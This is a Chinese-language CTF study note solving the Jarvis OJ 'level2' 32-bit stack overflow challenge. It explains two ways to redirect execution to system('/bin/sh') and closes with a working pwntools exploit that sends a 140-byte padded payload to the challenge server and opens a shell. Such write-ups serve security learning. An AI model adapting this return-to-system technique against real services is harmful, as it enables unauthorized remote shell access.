Jarvis Oj Pwn 学习笔记-level2

32位构造栈参数溢出！

恭敬地呈上链接：

https://files.cnblogs.com/files/Magpie/level2.rar

nc pwn2.jarvisoj.com 9878

首先....日常checksec：

程序扔进IDA锅里:

找到了溢出点~下面我们开始食用：

既然有调用system函数，肯定是可以直接call一波的，只是还缺一个参数，我们看到了read函数心里不禁笑嘻嘻.....

然而稍安勿躁，心存侥幸的看一波string：

妈耶~善良的出题人

好了，只要按32位栈传参规则通过溢出构造好栈内容即可~

在此提供两种食用方式：

 1.ret2call:

（main函数里0x804849e也有一个call）

打到这里，call指令本身执行时就会自动压ret_address，所以栈参数只溢出进一个"/bin/sh"的地址就行了

2.ret2raw_system:

打到这里，这样劫持过去是通过ret指令过去的，只改动了eip，没有压栈，所以和正常调用比，栈结构上是缺少一个ret_addr的，

因此在打payload的时候，要手动垫一个ret_addr~

 我们上exp（用的是第一种方法）：

1 from pwn import *
2 context(arch = 'i386', os = 'linux')
3 r = remote('pwn2.jarvisoj.com', 9878)
4 junk='A'*140
5 ret='\x9e\x84\x04\x08'
6 cmmd='\x24\xa0\x04\x08'
7 payload=junk+ret+cmmd
8 r.send(payload)
9 r.interactive()

（饱嗝~）